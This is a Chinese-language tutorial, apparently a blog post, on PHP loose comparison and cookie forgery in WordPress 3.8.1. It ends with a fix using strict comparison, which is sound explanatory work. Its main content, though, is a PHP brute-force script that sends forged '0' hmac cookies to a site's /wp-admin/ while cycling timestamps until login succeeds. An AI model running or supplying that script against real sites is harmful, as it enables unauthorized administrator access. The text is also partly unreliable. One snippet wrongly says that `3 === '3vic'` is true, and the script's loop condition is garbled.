PHP弱类型：WordPress Cookie仿冒

PHP弱类型：WordPress Cookie伪造

1 PHP弱类型

　　PHP是弱类型语言，所以变量会因为使用场景的不同自动进行类型转换。PHP中用 == 以及 ！= 进行相等判断时，会自动进行类型转换，用 === 以及 ！== 进行判断时不会自动转换类型。

<span style="color: #008080;">1</span> <span style="color: #000000;">php</span><span style="color: #008080;">2</span>     <span style="color: #800080;">$a</span> = 3<span style="color: #000000;">;</span><span style="color: #008080;">3</span>     <span style="color: #800080;">$b</span> = '3vic'<span style="color: #000000;">;</span><span style="color: #008080;">4</span>     <span style="color: #008080;">var_dump</span>(<span style="color: #800080;">$a</span> == <span style="color: #800080;">$b</span>);<span style="color: #008000;">//</span><span style="color: #008000;">true</span><span style="color: #008080;">5</span>     <span style="color: #008080;">var_dump</span>(<span style="color: #800080;">$a</span> != <span style="color: #800080;">$b</span>);<span style="color: #008000;">//</span><span style="color: #008000;">false</span><span style="color: #008080;">6</span>     <span style="color: #008080;">var_dump</span>(<span style="color: #800080;">$a</span> === <span style="color: #800080;">$b</span>);<span style="color: #008000;">//</span><span style="color: #008000;">true</span><span style="color: #008080;">7</span>     <span style="color: #008080;">var_dump</span>(<span style="color: #800080;">$a</span> !== <span style="color: #800080;">$b</span>);<span style="color: #008000;">//</span><span style="color: #008000;">false</span><span style="color: #008080;">8</span> ?>

　说明：在PHP中字符串转换成整型时，如果是数字开头就会转换成前面的数字（'3vic' -> 3），如果不是数字开头，那么就会转换成0（'vic' -> 0）

2 WordPress代码

• WordPress 3.8.1 与 WordPress 3.8.2 部分代码区别

<span style="color: #008080;">1</span> <span style="color: #000000;">php</span><span style="color: #008080;">2</span>     <span style="color: #008000;">//</span><span style="color: #008000;"> WordPress 3.8.1</span><span style="color: #008080;">3</span>     <span style="color: #0000ff;">if</span> (<span style="color: #800080;">$hmac</span> != <span style="color: #800080;">$hash</span><span style="color: #000000;">) {}</span><span style="color: #008080;">4</span>     <span style="color: #008000;">//</span><span style="color: #008000;"> WordPress 3.8.2</span><span style="color: #008080;">5</span>     <span style="color: #0000ff;">if</span> ( hash_hmac('md5', <span style="color: #800080;">$hmac</span>, <span style="color: #800080;">$key</span>) !== hash_hmac('md5', <span style="color: #800080;">$hash</span>, <span style="color: #800080;">$key</span><span style="color: #000000;">) )  {}</span><span style="color: #008080;">6</span> ?>

• Cookie 组成

　　客户端后台只验证其中的一条Cookie，如下所示

wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|<span style="color: #ff0000;">1433403595</span>|cf50f3b50eed94dd0fdc3d3ea2c7bbb; path=/wp-admin; domain=www.test.ichunqiu; HttpOnly

　　其中Cookie名 wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91 格式为 wordpress_ + md5(siteurl)  其中siteurl为WordPress的网址，此处网站地址为<span style="color: #ff0000;">http://www.test.ichunqiu</span>,md5加密后为<span style="color: #ff0000;">c47f4a97d0321c1980bb76fc00d1e78f</span>，其它部分也可省。

类型　　　　　　用户名　　　　　过期时间　　　　　　　　登录成功服务器端赋予客户端的hash值

对应变量	$username	$expiration	$hmac
cookies	admin	1433403595	cf50f3b50eed94dd0fdc3d3ea2c7bbb

 

 

 

• 分析验证登录

　　代码 wp-includes/pluggable.php 第543-549行

<span style="color: #008080;">1</span> <span style="color: #000000;">php</span><span style="color: #008080;">2</span>     <span style="color: #800080;">$key</span> = wp_hash(<span style="color: #800080;">$username</span> . <span style="color: #800080;">$pass_frag</span> . '|' . <span style="color: #800080;">$expiration</span>, <span style="color: #800080;">$scheme</span><span style="color: #000000;">);</span><span style="color: #008080;">3</span>     <span style="color: #800080;">$hash</span> = hash_hmac('md5', <span style="color: #800080;">$username</span> . '|' . <span style="color: #800080;">$expiration</span>, <span style="color: #800080;">$key</span><span style="color: #000000;">);</span><span style="color: #008080;">4</span>     <span style="color: #0000ff;">if</span> ( <span style="color: #800080;">$hmac</span> != <span style="color: #800080;">$hash</span><span style="color: #000000;"> ) {</span><span style="color: #008080;">5</span>     do_action('auth_cookie_bad_hash', <span style="color: #800080;">$cookie_elements</span><span style="color: #000000;">);</span><span style="color: #008080;">6</span>     <span style="color: #0000ff;">return</span> <span style="color: #0000ff;">false</span><span style="color: #000000;">;</span><span style="color: #008080;">7</span> }

　　在代码所使用的变量中，通过改变客户端Cookie 的方式可控的有 $username 用户名，$expiration 有效期，又因为其中用户名是固定的，因此只有$expiration是可控的，所以我们可以从改变 <span style="color: #ff0000;">$expiration </span>的方法来改变$hash。

• 结合PHP Hash 比较缺陷分析 WordPress

　　有以下几种可能使 $hmac == $hash 为真，字符串完全相等或者 $hmac 等于0的同时 <span style="color: #ff0000;">$hash</span> 为以字符开头的字符串; 将客户端的Cookie中 $hmac 值改为0，然后在if ( $hmac != $hash ) {的上面一行写入<span style="color: #ff0000;">var_dump($hmac);die()</span>;发现打印出来 $hmac 的结果是 string '0'而不是int 0， 那么有没有方法使字符串识别为整数呢，代码如下：

<span style="color: #008080;">1</span> <span style="color: #000000;">php</span><span style="color: #008080;">2</span> <span style="color: #008080;">var_dump</span>('0' == '0e156464513131');<span style="color: #008000;">//</span><span style="color: #008000;">true</span>

　　其中的 0e156464513131 会被识别为0乘以10的156464513131次方，还是得0；因此当 $hash 以0e开头后面全是数字时就会与 <span style="color: #ff0000;">$hmac</span> 的值为 '0' 时相等，所以我们可以将客户端的Cookie设置为类似 wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|1433403595|0 然后不断更新过期时间（现在1433403595的位置）的方法来碰撞服务器端，一旦 $hash 的值为0e开头后面全是数字即可验证通过。假设碰撞成功，就修改浏览器的Cookie，直接访问后台地址，就可以成功登陆后台。

3 测试脚本

　　通过改变客户端Cookie里过期时间的值，不断尝试登录后台，找出可以进入后台的时间戳，从而实现Cookie伪造登录后台。

<span style="color: #008080;"> 1</span> <span style="color: #000000;">php</span><span style="color: #008080;"> 2</span> <span style="color: #008000;">/*</span><span style="color: #008080;"> 3</span> <span style="color: #008080;"> 4</span> <span style="color: #008000;">本脚本用于WordPress 3.8.1 的cookie伪造漏洞检测</span><span style="color: #008080;"> 5</span> <span style="color: #008000;">传入两个值</span><span style="color: #008080;"> 6</span> <span style="color: #008000;">  WordPress 的主页 $host</span><span style="color: #008080;"> 7</span> <span style="color: #008000;">  管理员用户名     $root</span><span style="color: #008080;"> 8</span> <span style="color: #008000;">*/</span><span style="color: #008080;"> 9</span>     <span style="color: #008080;">header</span>("Content-type:text/html;charset=utf-8"<span style="color: #000000;">);</span><span style="color: #008080;">10</span> <span style="color: #008080;">11</span>     <span style="color: #800080;">$host</span> = 'http://xxx.xxx.xxx';<span style="color: #008000;">//</span><span style="color: #008000;">主页地址 结尾不带'/'</span><span style="color: #008080;">12</span>     <span style="color: #800080;">$root</span> = 'user';<span style="color: #008000;">//</span><span style="color: #008000;">管理员用户名</span><span style="color: #008080;">13</span> <span style="color: #008080;">14</span>     <span style="color: #800080;">$url</span> = <span style="color: #800080;">$host</span>.'/wp-admin/';<span style="color: #008000;">//</span><span style="color: #008000;">后台管理地址    </span><span style="color: #008080;">15</span>     <span style="color: #800080;">$sitehash</span>=<span style="color: #008080;">md5</span>(<span style="color: #800080;">$host</span><span style="color: #000000;">); </span><span style="color: #008080;">16</span> <span style="color: #008080;">17</span>     <span style="color: #0000ff;">echo</span> "\nWelcome\n\n"<span style="color: #000000;">;</span><span style="color: #008080;">18</span>     <span style="color: #008000;">//</span><span style="color: #008000;">通过时间戳暴力破解cookie 实现伪造cookie</span><span style="color: #008080;">19</span>     <span style="color: #0000ff;">for</span>(<span style="color: #800080;">$i</span>=1500000000;<span style="color: #800080;">$i</span>$i++<span style="color: #000000;">){</span><span style="color: #008080;">20</span>         <span style="color: #800080;">$cookie</span> = "wordpress_".<span style="color: #800080;">$sitehash</span>."=".<span style="color: #800080;">$root</span>."|".<span style="color: #800080;">$i</span>."|0;";<span style="color: #008000;">//</span><span style="color: #008000;">组合构造cookie</span><span style="color: #008080;">21</span>         <span style="color: #800080;">$header</span> = <span style="color: #0000ff;">array</span><span style="color: #000000;">(</span><span style="color: #008080;">22</span>        "Content-Type:application/x-www-form-urlencoded",<span style="color: #008080;">23</span>       'User-Agent: Mozilla/4.0 (compatible; MSIE .0; Windows NT 6.1; Trident/4.0; SLCC2;)',<span style="color: #008080;">24</span>       "Cookie:".<span style="color: #800080;">$cookie</span>,<span style="color: #008080;">25</span> <span style="color: #000000;">      );</span><span style="color: #008080;">26</span> <span style="color: #008080;">27</span>         <span style="color: #800080;">$curl</span> = curl_init(); <span style="color: #008000;">//</span><span style="color: #008000;"> 启动一个CURL会话    </span><span style="color: #008080;">28</span>         curl_setopt(<span style="color: #800080;">$curl</span>, CURLOPT_URL, <span style="color: #800080;">$url</span>); <span style="color: #008000;">//</span><span style="color: #008000;"> 要访问的地址</span><span style="color: #008080;">29</span>         curl_setopt(<span style="color: #800080;">$curl</span>, CURLOPT_FOLLOWLOCATION, 1); <span style="color: #008000;">//</span><span style="color: #008000;"> 使用自动跳转    </span><span style="color: #008080;">30</span>         curl_setopt(<span style="color: #800080;">$curl</span>, CURLOPT_AUTOREFERER, 1); <span style="color: #008000;">//</span><span style="color: #008000;"> 自动设置Referer    </span><span style="color: #008080;">31</span>         curl_setopt(<span style="color: #800080;">$curl</span>, CURLOPT_HTTPGET, <span style="color: #0000ff;">true</span>); <span style="color: #008000;">//</span><span style="color: #008000;"> 发送一个常规的Post请求    </span><span style="color: #008080;">32</span>         curl_setopt(<span style="color: #800080;">$curl</span>, CURLOPT_HTTPHEADER, <span style="color: #800080;">$header</span>); <span style="color: #008000;">//</span><span style="color: #008000;"> 读取上面所储存的Cookie信息         </span><span style="color: #008080;">33</span>         curl_setopt(<span style="color: #800080;">$curl</span>, CURLOPT_RETURNTRANSFER, 1); <span style="color: #008000;">//</span><span style="color: #008000;"> 获取的信息以文件流的形式返回 </span><span style="color: #008080;">34</span>         curl_setopt(<span style="color: #800080;">$curl</span>, CURLOPT_HEADER, <span style="color: #0000ff;">false</span><span style="color: #000000;">);</span><span style="color: #008080;">35</span>         curl_setopt(<span style="color: #800080;">$curl</span>, CURLOPT_HEADER, 0<span style="color: #000000;">);   </span><span style="color: #008080;">36</span>         curl_setopt(<span style="color: #800080;">$curl</span>, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);<span style="color: #008000;">//</span><span style="color: #008000;">让curl自动选择版本</span><span style="color: #008080;">37</span>         <span style="color: #800080;">$tmpInfo</span> = curl_exec(<span style="color: #800080;">$curl</span>); <span style="color: #008000;">//</span><span style="color: #008000;"> 执行操作</span><span style="color: #008080;">38</span>         <span style="color: #0000ff;">if</span> (curl_errno(<span style="color: #800080;">$curl</span><span style="color: #000000;">)) {    </span><span style="color: #008080;">39</span>         <span style="color: #0000ff;">echo</span> 'Errno'.curl_error(<span style="color: #800080;">$curl</span><span style="color: #000000;">);    </span><span style="color: #008080;">40</span> <span style="color: #000000;">        }    </span><span style="color: #008080;">41</span>         curl_close(<span style="color: #800080;">$curl</span>); <span style="color: #008000;">//</span><span style="color: #008000;"> 关闭CURL会话</span><span style="color: #008080;">42</span> <span style="color: #008080;">43</span> <span style="color: #008000;">        //匹配结果</span><span style="color: #008080;">44</span>         <span style="color: #0000ff;">if</span>(<span style="color: #008080;">strstr</span>(<span style="color: #800080;">$tmpInfo</span>,'我们准备了几个链接供您开始'<span style="color: #000000;">)){</span><span style="color: #008080;">45</span>             <span style="color: #0000ff;">echo</span>  "\n".'success : '.<span style="color: #800080;">$cookie</span>."\n\n"<span style="color: #000000;">;</span><span style="color: #008080;">46</span>             <span style="color: #0000ff;">break</span><span style="color: #000000;">;</span><span style="color: #008080;">47</span>         }<span style="color: #0000ff;">else</span><span style="color: #000000;">{</span><span style="color: #008080;">48</span>             <span style="color: #0000ff;">echo</span>  'fail : '.<span style="color: #800080;">$cookie</span>."\n"<span style="color: #000000;">;</span><span style="color: #008080;">49</span> <span style="color: #000000;">        }</span><span style="color: #008080;">50</span> <span style="color: #008080;">51</span> <span style="color: #000000;">    }</span><span style="color: #008080;">52</span> ?>    

　　说明：理论上32位的MD5值以0e开头的大概三亿分之一，碰撞到可以利用的 <span style="color: #ff0000;">$expiration </span>几率极低。

5 修复方案

　　PHP 中使用的哈希比较函数，将其中的 == ， ！= 分别更改为 === 和 ！== 或者 将比较的两个变量使用MD5再加密一次。

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